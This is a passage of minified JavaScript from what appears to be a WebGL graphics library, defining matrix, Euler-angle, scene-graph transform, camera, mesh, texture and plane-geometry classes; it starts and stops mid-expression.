0!==arguments[0]?arguments[0]:this)[0],n=e[1],r=e[2],s=e[3],a=e[4],o=e[5],l=e[6],h=e[7],c=e[8],u=e[9],d=e[10],f=e[11],p=e[12],m=e[13],g=e[14],v=e[15],(T=(y=i*o-n*a)*(F=d*v-f*g)-(x=i*l-r*a)*(S=u*v-f*m)+(w=i*h-s*a)*(C=u*g-d*m)+(A=n*l-r*o)*(U=c*v-f*p)-(M=n*h-s*o)*(k=c*g-d*p)+(E=r*h-s*l)*(b=c*m-u*p))&&(T=1/T,t[0]=(o*F-l*S+h*C)*T,t[1]=(r*S-n*F-s*C)*T,t[2]=(m*E-g*M+v*A)*T,t[3]=(d*M-u*E-f*A)*T,t[4]=(l*U-a*F-h*k)*T,t[5]=(i*F-r*U+s*k)*T,t[6]=(g*w-p*E-v*x)*T,t[7]=(c*E-d*w+f*x)*T,t[8]=(a*S-o*U+h*b)*T,t[9]=(n*U-i*S-s*b)*T,t[10]=(p*M-m*w+v*y)*T,t[11]=(u*w-c*M-f*y)*T,t[12]=(o*k-a*C-l*b)*T,t[13]=(i*C-n*k+r*b)*T,t[14]=(m*x-p*A-g*y)*T,t[15]=(c*A-u*x+d*y)*T),this}},{key:"compose",value:function(t,e,i){return function(t,e,i,n){var r=e[0],s=e[1],a=e[2],o=e[3],l=r+r,h=s+s,c=a+a,u=r*l,d=r*h,f=r*c,p=s*h,m=s*c,g=a*c,v=o*l,y=o*h,x=o*c,w=n[0],A=n[1],M=n[2];t[0]=(1-(p+g))*w,t[1]=(d+x)*w,t[2]=(f-y)*w,t[3]=0,t[4]=(d-x)*A,t[5]=(1-(u+g))*A,t[6]=(m+v)*A,t[7]=0,t[8]=(f+y)*M,t[9]=(m-v)*M,t[10]=(1-(u+p))*M,t[11]=0,t[12]=i[0],t[13]=i[1],t[14]=i[2],t[15]=1}(this,t,e,i),this}},{key:"getRotation",value:function(t){return N(t,this),this}},{key:"getTranslation",value:function(t){var e,i;return i=this,(e=t)[0]=i[12],e[1]=i[13],e[2]=i[14],this}},{key:"getScaling",value:function(t){return j(t,this),this}},{key:"getMaxScaleOnAxis",value:function(){return e=(t=this)[0],i=t[1],n=t[2],r=t[4],s=t[5],a=t[6],o=t[8],l=t[9],h=t[10],c=e*e+i*i+n*n,u=r*r+s*s+a*a,d=o*o+l*l+h*h,Math.sqrt(Math.max(c,u,d));var t,e,i,n,r,s,a,o,l,h,c,u,d}},{key:"lookAt",value:function(t,e,i){return function(t,e,i,n){var r=e[0],s=e[1],a=e[2],o=n[0],l=n[1],h=n[2],c=r-i[0],u=s-i[1],d=a-i[2],f=c*c+u*u+d*d;0===f?d=1:(c*=f=1/Math.sqrt(f),u*=f,d*=f);var p=l*d-h*u,m=h*c-o*d,g=o*u-l*c;0==(f=p*p+m*m+g*g)&&(h?o+=1e-6:l?h+=1e-6:l+=1e-6,f=(p=l*d-h*u)*p+(m=h*c-o*d)*m+(g=o*u-l*c)*g),p*=f=1/Math.sqrt(f),m*=f,g*=f,t[0]=p,t[1]=m,t[2]=g,t[3]=0,t[4]=u*g-d*m,t[5]=d*p-c*g,t[6]=c*m-u*p,t[7]=0,t[8]=c,t[9]=u,t[10]=d,t[11]=0,t[12]=r,t[13]=s,t[14]=a,t[15]=1}(this,t,e,i),this}},{key:"determinant",value:function(){return e=(t=this)[0],i=t[1],n=t[2],r=t[3],s=t[4],a=t[5],o=t[6],l=t[7],h=t[8],c=t[9],u=t[10],d=t[11],f=t[12],p=t[13],m=t[14],g=t[15],(e*a-i*s)*(u*g-d*m)-(e*o-n*s)*(c*g-d*p)+(e*l-r*s)*(c*m-u*p)+(i*o-n*a)*(h*g-d*f)-(i*l-r*a)*(h*m-u*f)+(n*l-r*o)*(h*p-c*f);var t,e,i,n,r,s,a,o,l,h,c,u,d,f,p,m,g}},{key:"fromArray",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return this[0]=t[e],this[1]=t[e+1],this[2]=t[e+2],this[3]=t[e+3],this[4]=t[e+4],this[5]=t[e+5],this[6]=t[e+6],this[7]=t[e+7],this[8]=t[e+8],this[9]=t[e+9],this[10]=t[e+10],this[11]=t[e+11],this[12]=t[e+12],this[13]=t[e+13],this[14]=t[e+14],this[15]=t[e+15],this}},{key:"toArray",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return t[e]=this[0],t[e+1]=this[1],t[e+2]=this[2],t[e+3]=this[3],t[e+4]=this[4],t[e+5]=this[5],t[e+6]=this[6],t[e+7]=this[7],t[e+8]=this[8],t[e+9]=this[9],t[e+10]=this[10],t[e+11]=this[11],t[e+12]=this[12],t[e+13]=this[13],t[e+14]=this[14],t[e+15]=this[15],t}}]),e}();var z=new Q,V=function(t){function e(){var t,i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:i,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:i,s=arguments.length>3&&void 0!==arguments[3]?arguments[3]:"YXZ";return _classCallCheck(this,e),(t=_callSuper(this,e,[i,n,r])).order=s,t.onChange=function(){},_possibleConstructorReturn(t,_assertThisInitialized(t))}return _inherits(e,_wrapNativeSuper(Array)),_createClass(e,[{key:"x",get:function(){return this[0]},set:function(t){this[0]=t,this.onChange()}},{key:"y",get:function(){return this[1]},set:function(t){this[1]=t,this.onChange()}},{key:"z",get:function(){return this[2]},set:function(t){this[2]=t,this.onChange()}},{key:"set",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:t,i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:t;return t.length?this.copy(t):(this[0]=t,this[1]=e,this[2]=i,this.onChange(),this)}},{key:"copy",value:function(t){return this[0]=t[0],this[1]=t[1],this[2]=t[2],this.onChange(),this}},{key:"reorder",value:function(t){return this.order=t,this.onChange(),this}},{key:"fromRotationMatrix",value:function(t){return function(t,e){var i=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"YXZ";"XYZ"===i?(t[1]=Math.asin(Math.min(Math.max(e[8],-1),1)),Math.abs(e[8])<.99999?(t[0]=Math.atan2(-e[9],e[10]),t[2]=Math.atan2(-e[4],e[0])):(t[0]=Math.atan2(e[6],e[5]),t[2]=0)):"YXZ"===i?(t[0]=Math.asin(-Math.min(Math.max(e[9],-1),1)),Math.abs(e[9])<.99999?(t[1]=Math.atan2(e[8],e[10]),t[2]=Math.atan2(e[1],e[5])):(t[1]=Math.atan2(-e[2],e[0]),t[2]=0)):"ZXY"===i?(t[0]=Math.asin(Math.min(Math.max(e[6],-1),1)),Math.abs(e[6])<.99999?(t[1]=Math.atan2(-e[2],e[10]),t[2]=Math.atan2(-e[4],e[5])):(t[1]=0,t[2]=Math.atan2(e[1],e[0]))):"ZYX"===i?(t[1]=Math.asin(-Math.min(Math.max(e[2],-1),1)),Math.abs(e[2])<.99999?(t[0]=Math.atan2(e[6],e[10]),t[2]=Math.atan2(e[1],e[0])):(t[0]=0,t[2]=Math.atan2(-e[4],e[5]))):"YZX"===i?(t[2]=Math.asin(Math.min(Math.max(e[1],-1),1)),Math.abs(e[1])<.99999?(t[0]=Math.atan2(-e[9],e[5]),t[1]=Math.atan2(-e[2],e[0])):(t[0]=0,t[1]=Math.atan2(e[8],e[10]))):"XZY"===i&&(t[2]=Math.asin(-Math.min(Math.max(e[4],-1),1)),Math.abs(e[4])<.99999?(t[0]=Math.atan2(e[6],e[5]),t[1]=Math.atan2(e[8],e[0])):(t[0]=Math.atan2(-e[9],e[10]),t[1]=0))}(this,t,arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.order),this}},{key:"fromQuaternion",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.order;return z.fromQuaternion(t),this.fromRotationMatrix(z,e)}},{key:"toArray",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return t[e]=this[0],t[e+1]=this[1],t[e+2]=this[2],t}}]),e}(),L=function(){function t(){var e=this;_classCallCheck(this,t),this.parent=null,this.children=[],this.visible=!0,this.matrix=new Q,this.worldMatrix=new Q,this.matrixAutoUpdate=!0,this.position=new d,this.quaternion=new B,this.scale=new d(1),this.rotation=new V,this.up=new d(0,1,0),this.rotation.onChange=function(){return e.quaternion.fromEuler(e.rotation)},this.quaternion.onChange=function(){return e.rotation.fromQuaternion(e.quaternion)}}return _createClass(t,[{key:"setParent",value:function(t){var e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];this.parent&&t!==this.parent&&this.parent.removeChild(this,!1),this.parent=t,e&&t&&t.addChild(this,!1)}},{key:"addChild",value:function(t){var e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];~this.children.indexOf(t)||this.children.push(t),e&&t.setParent(this,!1)}},{key:"removeChild",value:function(t){var e=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];~this.children.indexOf(t)&&this.children.splice(this.children.indexOf(t),1),e&&t.setParent(null,!1)}},{key:"updateMatrixWorld",value:function(t){this.matrixAutoUpdate&&this.updateMatrix(),(this.worldMatrixNeedsUpdate||t)&&(null===this.parent?this.worldMatrix.copy(this.matrix):this.worldMatrix.multiply(this.parent.worldMatrix,this.matrix),this.worldMatrixNeedsUpdate=!1,t=!0);for(var e=0,i=this.children.length;e<i;e++)this.children[e].updateMatrixWorld(t)}},{key:"updateMatrix",value:function(){this.matrix.compose(this.quaternion,this.position,this.scale),this.worldMatrixNeedsUpdate=!0}},{key:"traverse",value:function(t){if(!t(this))for(var e=0,i=this.children.length;e<i;e++)this.children[e].traverse(t)}},{key:"decompose",value:function(){this.matrix.getTranslation(this.position),this.matrix.getRotation(this.quaternion),this.matrix.getScaling(this.scale),this.rotation.fromQuaternion(this.quaternion)}},{key:"lookAt",value:function(t){arguments.length>1&&void 0!==arguments[1]&&arguments[1]?this.matrix.lookAt(this.position,t,this.up):this.matrix.lookAt(t,this.position,this.up),this.matrix.getRotation(this.quaternion),this.rotation.fromQuaternion(this.quaternion)}}]),t}(),Z=new Q,_=new d,J=new d,H=function(t){function e(t){var i,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=n.near,s=void 0===r?.1:r,a=n.far,o=void 0===a?100:a,l=n.fov,h=void 0===l?45:l,c=n.aspect,u=void 0===c?1:c,f=n.left,p=n.right,m=n.bottom,g=n.top,v=n.zoom,y=void 0===v?1:v;return _classCallCheck(this,e),i=_callSuper(this,e),Object.assign(_assertThisInitialized(i),{near:s,far:o,fov:h,aspect:u,left:f,right:p,bottom:m,top:g,zoom:y}),i.projectionMatrix=new Q,i.viewMatrix=new Q,i.projectionViewMatrix=new Q,i.worldPosition=new d,i.type=f||p?"orthographic":"perspective","orthographic"===i.type?i.orthographic():i.perspective(),i}return _inherits(e,t),_createClass(e,[{key:"perspective",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.near,i=void 0===e?this.near:e,n=t.far,r=void 0===n?this.far:n,s=t.fov,a=void 0===s?this.fov:s,o=t.aspect,l=void 0===o?this.aspect:o;return Object.assign(this,{near:i,far:r,fov:a,aspect:l}),this.projectionMatrix.fromPerspective({fov:a*(Math.PI/180),aspect:l,near:i,far:r}),this.type="perspective",this}},{key:"orthographic",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},e=t.near,i=void 0===e?this.near:e,n=t.far,r=void 0===n?this.far:n,s=t.left,a=void 0===s?this.left:s,o=t.right,l=void 0===o?this.right:o,h=t.bottom,c=void 0===h?this.bottom:h,u=t.top,d=void 0===u?this.top:u,f=t.zoom,p=void 0===f?this.zoom:f;return Object.assign(this,{near:i,far:r,left:a,right:l,bottom:c,top:d,zoom:p}),a/=p,l/=p,c/=p,d/=p,this.projectionMatrix.fromOrthogonal({left:a,right:l,bottom:c,top:d,near:i,far:r}),this.type="orthographic",this}},{key:"updateMatrixWorld",value:function(){return _get(_getPrototypeOf(e.prototype),"updateMatrixWorld",this).call(this),this.viewMatrix.inverse(this.worldMatrix),this.worldMatrix.getTranslation(this.worldPosition),this.projectionViewMatrix.multiply(this.projectionMatrix,this.viewMatrix),this}},{key:"lookAt",value:function(t){return _get(_getPrototypeOf(e.prototype),"lookAt",this).call(this,t,!0),this}},{key:"project",value:function(t){return t.applyMatrix4(this.viewMatrix),t.applyMatrix4(this.projectionMatrix),this}},{key:"unproject",value:function(t){return t.applyMatrix4(Z.inverse(this.projectionMatrix)),t.applyMatrix4(this.worldMatrix),this}},{key:"updateFrustum",value:function(){this.frustum||(this.frustum=[new d,new d,new d,new d,new d,new d]);var t=this.projectionViewMatrix;this.frustum[0].set(t[3]-t[0],t[7]-t[4],t[11]-t[8]).constant=t[15]-t[12],this.frustum[1].set(t[3]+t[0],t[7]+t[4],t[11]+t[8]).constant=t[15]+t[12],this.frustum[2].set(t[3]+t[1],t[7]+t[5],t[11]+t[9]).constant=t[15]+t[13],this.frustum[3].set(t[3]-t[1],t[7]-t[5],t[11]-t[9]).constant=t[15]-t[13],this.frustum[4].set(t[3]-t[2],t[7]-t[6],t[11]-t[10]).constant=t[15]-t[14],this.frustum[5].set(t[3]+t[2],t[7]+t[6],t[11]+t[10]).constant=t[15]+t[14];for(var e=0;e<6;e++){var i=1/this.frustum[e].distance();this.frustum[e].multiply(i),this.frustum[e].constant*=i}}},{key:"frustumIntersectsMesh",value:function(t){if(!t.geometry.attributes.position)return!0;if(t.geometry.bounds&&t.geometry.bounds.radius!==1/0||t.geometry.computeBoundingSphere(),!t.geometry.bounds)return!0;var e=_;e.copy(t.geometry.bounds.center),e.applyMatrix4(t.worldMatrix);var i=t.geometry.bounds.radius*t.worldMatrix.getMaxScaleOnAxis();return this.frustumIntersectsSphere(e,i)}},{key:"frustumIntersectsSphere",value:function(t,e){for(var i=J,n=0;n<6;n++){var r=this.frustum[n];if(i.copy(r).dot(t)+r.constant<-e)return!1}return!0}}]),e}(L);function W(t,e,i){var n=e[0],r=e[1],s=e[2],a=e[3],o=e[4],l=e[5],h=e[6],c=e[7],u=e[8],d=i[0],f=i[1],p=i[2],m=i[3],g=i[4],v=i[5],y=i[6],x=i[7],w=i[8];return t[0]=d*n+f*a+p*h,t[1]=d*r+f*o+p*c,t[2]=d*s+f*l+p*u,t[3]=m*n+g*a+v*h,t[4]=m*r+g*o+v*c,t[5]=m*s+g*l+v*u,t[6]=y*n+x*a+w*h,t[7]=y*r+x*o+w*c,t[8]=y*s+x*l+w*u,t}var q=function(t){function e(){var t,i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:0,s=arguments.length>3&&void 0!==arguments[3]?arguments[3]:0,a=arguments.length>4&&void 0!==arguments[4]?arguments[4]:1,o=arguments.length>5&&void 0!==arguments[5]?arguments[5]:0,l=arguments.length>6&&void 0!==arguments[6]?arguments[6]:0,h=arguments.length>7&&void 0!==arguments[7]?arguments[7]:0,c=arguments.length>8&&void 0!==arguments[8]?arguments[8]:1;return _classCallCheck(this,e),_possibleConstructorReturn(t=_callSuper(this,e,[i,n,r,s,a,o,l,h,c]),_assertThisInitialized(t))}return _inherits(e,_wrapNativeSuper(Array)),_createClass(e,[{key:"set",value:function(t,e,i,n,r,s,a,o,l){return t.length?this.copy(t):(function(t,e,i,n,r,s,a,o,l,h){t[0]=e,t[1]=i,t[2]=n,t[3]=r,t[4]=s,t[5]=a,t[6]=o,t[7]=l,t[8]=h}(this,t,e,i,n,r,s,a,o,l),this)}},{key:"translate",value:function(t){return function(t,e,i){var n=e[0],r=e[1],s=e[2],a=e[3],o=e[4],l=e[5],h=e[6],c=e[7],u=e[8],d=i[0],f=i[1];t[0]=n,t[1]=r,t[2]=s,t[3]=a,t[4]=o,t[5]=l,t[6]=d*n+f*a+h,t[7]=d*r+f*o+c,t[8]=d*s+f*l+u}(this,arguments.length>1&&void 0!==arguments[1]?arguments[1]:this,t),this}},{key:"rotate",value:function(t){var e,i,n,r,s,a,o,l,h,c,u,d,f,p;return e=this,n=t,r=(i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this)[0],s=i[1],a=i[2],o=i[3],l=i[4],h=i[5],c=i[6],u=i[7],d=i[8],f=Math.sin(n),p=Math.cos(n),e[0]=p*r+f*o,e[1]=p*s+f*l,e[2]=p*a+f*h,e[3]=p*o-f*r,e[4]=p*l-f*s,e[5]=p*h-f*a,e[6]=c,e[7]=u,e[8]=d,this}},{key:"scale",value:function(t){return function(t,e,i){var n=i[0],r=i[1];t[0]=n*e[0],t[1]=n*e[1],t[2]=n*e[2],t[3]=r*e[3],t[4]=r*e[4],t[5]=r*e[5],t[6]=e[6],t[7]=e[7],t[8]=e[8]}(this,arguments.length>1&&void 0!==arguments[1]?arguments[1]:this,t),this}},{key:"multiply",value:function(t,e){return e?W(this,t,e):W(this,this,t),this}},{key:"identity",value:function(){var t;return(t=this)[0]=1,t[1]=0,t[2]=0,t[3]=0,t[4]=1,t[5]=0,t[6]=0,t[7]=0,t[8]=1,this}},{key:"copy",value:function(t){var e,i;return i=t,(e=this)[0]=i[0],e[1]=i[1],e[2]=i[2],e[3]=i[3],e[4]=i[4],e[5]=i[5],e[6]=i[6],e[7]=i[7],e[8]=i[8],this}},{key:"fromMatrix4",value:function(t){var e,i;return i=t,(e=this)[0]=i[0],e[1]=i[1],e[2]=i[2],e[3]=i[4],e[4]=i[5],e[5]=i[6],e[6]=i[8],e[7]=i[9],e[8]=i[10],this}},{key:"fromQuaternion",value:function(t){return function(t,e){var i=e[0],n=e[1],r=e[2],s=e[3],a=i+i,o=n+n,l=r+r,h=i*a,c=n*a,u=n*o,d=r*a,f=r*o,p=r*l,m=s*a,g=s*o,v=s*l;t[0]=1-u-p,t[3]=c-v,t[6]=d+g,t[1]=c+v,t[4]=1-h-p,t[7]=f-m,t[2]=d-g,t[5]=f+m,t[8]=1-h-u}(this,t),this}},{key:"fromBasis",value:function(t,e,i){return this.set(t[0],t[1],t[2],e[0],e[1],e[2],i[0],i[1],i[2]),this}},{key:"inverse",value:function(){var t,e,i,n,r,s,a,o,l,h,c,u,d,f,p;return t=this,i=(e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this)[0],n=e[1],r=e[2],s=e[3],a=e[4],o=e[5],l=e[6],h=e[7],c=e[8],(p=i*(u=c*a-o*h)+n*(d=-c*s+o*l)+r*(f=h*s-a*l))&&(p=1/p,t[0]=u*p,t[1]=(-c*n+r*h)*p,t[2]=(o*n-r*a)*p,t[3]=d*p,t[4]=(c*i-r*l)*p,t[5]=(-o*i+r*s)*p,t[6]=f*p,t[7]=(-h*i+n*l)*p,t[8]=(a*i-n*s)*p),this}},{key:"getNormalMatrix",value:function(t){var e,i,n,r,s,a,o,l,h,c,u,d,f,p,m,g,v,y,x,w,A,M,E,b,k,U,C,S,F,T,R;return e=this,n=(i=t)[0],r=i[1],s=i[2],a=i[3],o=i[4],l=i[5],h=i[6],c=i[7],u=i[8],d=i[9],f=i[10],p=i[11],m=i[12],g=i[13],v=i[14],y=i[15],(R=(x=n*l-r*o)*(T=f*y-p*v)-(w=n*h-s*o)*(F=d*y-p*g)+(A=n*c-a*o)*(S=d*v-f*g)+(M=r*h-s*l)*(C=u*y-p*m)-(E=r*c-a*l)*(U=u*v-f*m)+(b=s*c-a*h)*(k=u*g-d*m))&&(R=1/R,e[0]=(l*T-h*F+c*S)*R,e[1]=(h*C-o*T-c*U)*R,e[2]=(o*F-l*C+c*k)*R,e[3]=(s*F-r*T-a*S)*R,e[4]=(n*T-s*C+a*U)*R,e[5]=(r*C-n*F-a*k)*R,e[6]=(g*b-v*E+y*M)*R,e[7]=(v*A-m*b-y*w)*R,e[8]=(m*E-g*A+y*x)*R),this}}]),e}(),X=0,$=function(t){function e(t){var i,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=n.geometry,s=n.program,a=n.mode,o=void 0===a?t.TRIANGLES:a,l=n.frustumCulled,h=void 0===l||l,c=n.renderOrder,u=void 0===c?0:c;return _classCallCheck(this,e),i=_callSuper(this,e),t.canvas||console.error("gl not passed as first argument to Mesh"),i.gl=t,i.id=X++,i.geometry=r,i.program=s,i.mode=o,i.frustumCulled=h,i.renderOrder=u,i.modelViewMatrix=new Q,i.normalMatrix=new q,i.beforeRenderCallbacks=[],i.afterRenderCallbacks=[],i}return _inherits(e,t),_createClass(e,[{key:"onBeforeRender",value:function(t){return this.beforeRenderCallbacks.push(t),this}},{key:"onAfterRender",value:function(t){return this.afterRenderCallbacks.push(t),this}},{key:"draw",value:function(){var t=this,e=(arguments.length>0&&void 0!==arguments[0]?arguments[0]:{}).camera;this.beforeRenderCallbacks.forEach((function(i){return i&&i({mesh:t,camera:e})})),e&&(this.program.uniforms.modelMatrix||Object.assign(this.program.uniforms,{modelMatrix:{value:null},viewMatrix:{value:null},modelViewMatrix:{value:null},normalMatrix:{value:null},projectionMatrix:{value:null},cameraPosition:{value:null}}),this.program.uniforms.projectionMatrix.value=e.projectionMatrix,this.program.uniforms.cameraPosition.value=e.worldPosition,this.program.uniforms.viewMatrix.value=e.viewMatrix,this.modelViewMatrix.multiply(e.viewMatrix,this.worldMatrix),this.normalMatrix.getNormalMatrix(this.modelViewMatrix),this.program.uniforms.modelMatrix.value=this.worldMatrix,this.program.uniforms.modelViewMatrix.value=this.modelViewMatrix,this.program.uniforms.normalMatrix.value=this.normalMatrix);var i=this.program.cullFace&&this.worldMatrix.determinant()<0;this.program.use({flipFaces:i}),this.geometry.draw({mode:this.mode,program:this.program}),this.afterRenderCallbacks.forEach((function(i){return i&&i({mesh:t,camera:e})}))}}]),e}(L),tt=new Uint8Array(4);function et(t){return 0==(t&t-1)}var it=1,nt=function(){function t(e){var i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=i.image,r=i.target,s=void 0===r?e.TEXTURE_2D:r,a=i.type,o=void 0===a?e.UNSIGNED_BYTE:a,l=i.format,h=void 0===l?e.RGBA:l,c=i.internalFormat,u=void 0===c?h:c,d=i.wrapS,f=void 0===d?e.CLAMP_TO_EDGE:d,p=i.wrapT,m=void 0===p?e.CLAMP_TO_EDGE:p,g=i.generateMipmaps,v=void 0===g||g,y=i.minFilter,x=void 0===y?v?e.NEAREST_MIPMAP_LINEAR:e.LINEAR:y,w=i.magFilter,A=void 0===w?e.LINEAR:w,M=i.premultiplyAlpha,E=void 0!==M&&M,b=i.unpackAlignment,k=void 0===b?4:b,U=i.flipY,C=void 0===U?s==e.TEXTURE_2D:U,S=i.anisotropy,F=void 0===S?0:S,T=i.level,R=void 0===T?0:T,I=i.width,G=i.height,P=void 0===G?I:G;_classCallCheck(this,t),this.gl=e,this.id=it++,this.image=n,this.target=s,this.type=o,this.format=h,this.internalFormat=u,this.minFilter=x,this.magFilter=A,this.wrapS=f,this.wrapT=m,this.generateMipmaps=v,this.premultiplyAlpha=E,this.unpackAlignment=k,this.flipY=C,this.anisotropy=Math.min(F,this.gl.renderer.parameters.maxAnisotropy),this.level=R,this.width=I,this.height=P,this.texture=this.gl.createTexture(),this.store={image:null},this.glState=this.gl.renderer.state,this.state={},this.state.minFilter=this.gl.NEAREST_MIPMAP_LINEAR,this.state.magFilter=this.gl.LINEAR,this.state.wrapS=this.gl.REPEAT,this.state.wrapT=this.gl.REPEAT,this.state.anisotropy=0}return _createClass(t,[{key:"bind",value:function(){this.glState.textureUnits[this.glState.activeTextureUnit]!==this.id&&(this.gl.bindTexture(this.target,this.texture),this.glState.textureUnits[this.glState.activeTextureUnit]=this.id)}},{key:"update",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=!(this.image===this.store.image&&!this.needsUpdate);if((e||this.glState.textureUnits[t]!==this.id)&&(this.gl.renderer.activeTexture(t),this.bind()),e){if(this.needsUpdate=!1,this.flipY!==this.glState.flipY&&(this.gl.pixelStorei(this.gl.UNPACK_FLIP_Y_WEBGL,this.flipY),this.glState.flipY=this.flipY),this.premultiplyAlpha!==this.glState.premultiplyAlpha&&(this.gl.pixelStorei(this.gl.UNPACK_PREMULTIPLY_ALPHA_WEBGL,this.premultiplyAlpha),this.glState.premultiplyAlpha=this.premultiplyAlpha),this.unpackAlignment!==this.glState.unpackAlignment&&(this.gl.pixelStorei(this.gl.UNPACK_ALIGNMENT,this.unpackAlignment),this.glState.unpackAlignment=this.unpackAlignment),this.minFilter!==this.state.minFilter&&(this.gl.texParameteri(this.target,this.gl.TEXTURE_MIN_FILTER,this.minFilter),this.state.minFilter=this.minFilter),this.magFilter!==this.state.magFilter&&(this.gl.texParameteri(this.target,this.gl.TEXTURE_MAG_FILTER,this.magFilter),this.state.magFilter=this.magFilter),this.wrapS!==this.state.wrapS&&(this.gl.texParameteri(this.target,this.gl.TEXTURE_WRAP_S,this.wrapS),this.state.wrapS=this.wrapS),this.wrapT!==this.state.wrapT&&(this.gl.texParameteri(this.target,this.gl.TEXTURE_WRAP_T,this.wrapT),this.state.wrapT=this.wrapT),this.anisotropy&&this.anisotropy!==this.state.anisotropy&&(this.gl.texParameterf(this.target,this.gl.renderer.getExtension("EXT_texture_filter_anisotropic").TEXTURE_MAX_ANISOTROPY_EXT,this.anisotropy),this.state.anisotropy=this.anisotropy),this.image){if(this.image.width&&(this.width=this.image.width,this.height=this.image.height),this.target===this.gl.TEXTURE_CUBE_MAP)for(var i=0;i<6;i++)this.gl.texImage2D(this.gl.TEXTURE_CUBE_MAP_POSITIVE_X+i,this.level,this.internalFormat,this.format,this.type,this.image[i]);else if(ArrayBuffer.isView(this.image))this.gl.texImage2D(this.target,this.level,this.internalFormat,this.width,this.height,0,this.format,this.type,this.image);else if(this.image.isCompressedTexture)for(var n=0;n<this.image.length;n++)this.gl.compressedTexImage2D(this.target,n,this.internalFormat,this.image[n].width,this.image[n].height,0,this.image[n].data);else this.gl.texImage2D(this.target,this.level,this.internalFormat,this.format,this.type,this.image);this.generateMipmaps&&(this.gl.renderer.isWebgl2||et(this.image.width)&&et(this.image.height)?this.gl.generateMipmap(this.target):(this.generateMipmaps=!1,this.wrapS=this.wrapT=this.gl.CLAMP_TO_EDGE,this.minFilter=this.gl.LINEAR)),this.onUpdate&&this.onUpdate()}else if(this.target===this.gl.TEXTURE_CUBE_MAP)for(var r=0;r<6;r++)this.gl.texImage2D(this.gl.TEXTURE_CUBE_MAP_POSITIVE_X+r,0,this.gl.RGBA,1,1,0,this.gl.RGBA,this.gl.UNSIGNED_BYTE,tt);else this.width?this.gl.texImage2D(this.target,this.level,this.internalFormat,this.width,this.height,0,this.format,this.type,null):this.gl.texImage2D(this.target,0,this.gl.RGBA,1,1,0,this.gl.RGBA,this.gl.UNSIGNED_BYTE,tt);this.store.image=this.image}}}]),t}(),rt=function(t){function e(){var t,i=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:i,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:i,s=arguments.length>3&&void 0!==arguments[3]?arguments[3]:i;return _classCallCheck(this,e),_possibleConstructorReturn(t=_callSuper(this,e,[i,n,r,s]),_assertThisInitialized(t))}return _inherits(e,_wrapNativeSuper(Array)),_createClass(e,[{key:"x",get:function(){return this[0]},set:function(t){this[0]=t}},{key:"y",get:function(){return this[1]},set:function(t){this[1]=t}},{key:"z",get:function(){return this[2]},set:function(t){this[2]=t}},{key:"w",get:function(){return this[3]},set:function(t){this[3]=t}},{key:"set",value:function(t,e,i,n){return t.length?this.copy(t):(F(this,t,e,i,n),this)}},{key:"copy",value:function(t){return S(this,t),this}},{key:"normalize",value:function(){return T(this,this),this}},{key:"multiply",value:function(t){var e,i,n;return i=this,n=t,(e=this)[0]=i[0]*n,e[1]=i[1]*n,e[2]=i[2]*n,e[3]=i[3]*n,this}},{key:"dot",value:function(t){return R(this,t)}},{key:"fromArray",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return this[0]=t[e],this[1]=t[e+1],this[2]=t[e+2],this[3]=t[e+3],this}},{key:"toArray",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return t[e]=this[0],t[e+1]=this[1],t[e+2]=this[2],t[e+3]=this[3],t}}]),e}(),st=function(t){function e(t){var i=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=i.width,r=void 0===n?1:n,s=i.height,a=void 0===s?1:s,o=i.widthSegments,l=void 0===o?1:o,h=i.heightSegments,c=void 0===h?1:h,u=i.attributes,d=void 0===u?{}:u;_classCallCheck(this,e);var f=l,p=c,m=(f+1)*(p+1),g=f*p*6,v=new Float32Array(3*m),y=new Float32Array(3*m),x=new Float32Array(2*m),w=g>65536?new Uint32Array(g):new Uint16Array(g);return e.buildPlane(v,y,x,w,r,a,0,f,p),Object.assign(d,{position:{size:3,data:v},normal:{size:3,data:y},uv:{size:2,data:x},index:{data:w}}),_callSuper(this,e,[t,d])}return _inherits(e,t),_createClass(e,null,[{key:"buildPlane",value:function(t,e,i,n,r,s,a,o,l){for(var h=arguments.length>9&&void 0!==arguments[9]?arguments[9]:0,c=arguments.length>10&&void 0!==arguments[10]?arguments[10]:1,u=arguments.length>11&&void 0!==arguments[11]?arguments[11]:2,d=arguments.length>12&&void 0!==arguments[12]?arguments[12]:1,f=arguments.length>13&&void 0!==arguments[13]?arguments[13]:-1,p=arguments.length>14&&void 0!==arguments[14]?arguments[14]:0,m=arguments.length>15&&void 0!==arguments[15]?arguments[15]:0,g=p,v=r/o,y=s/l,x=0;x<=l;x++)for(var 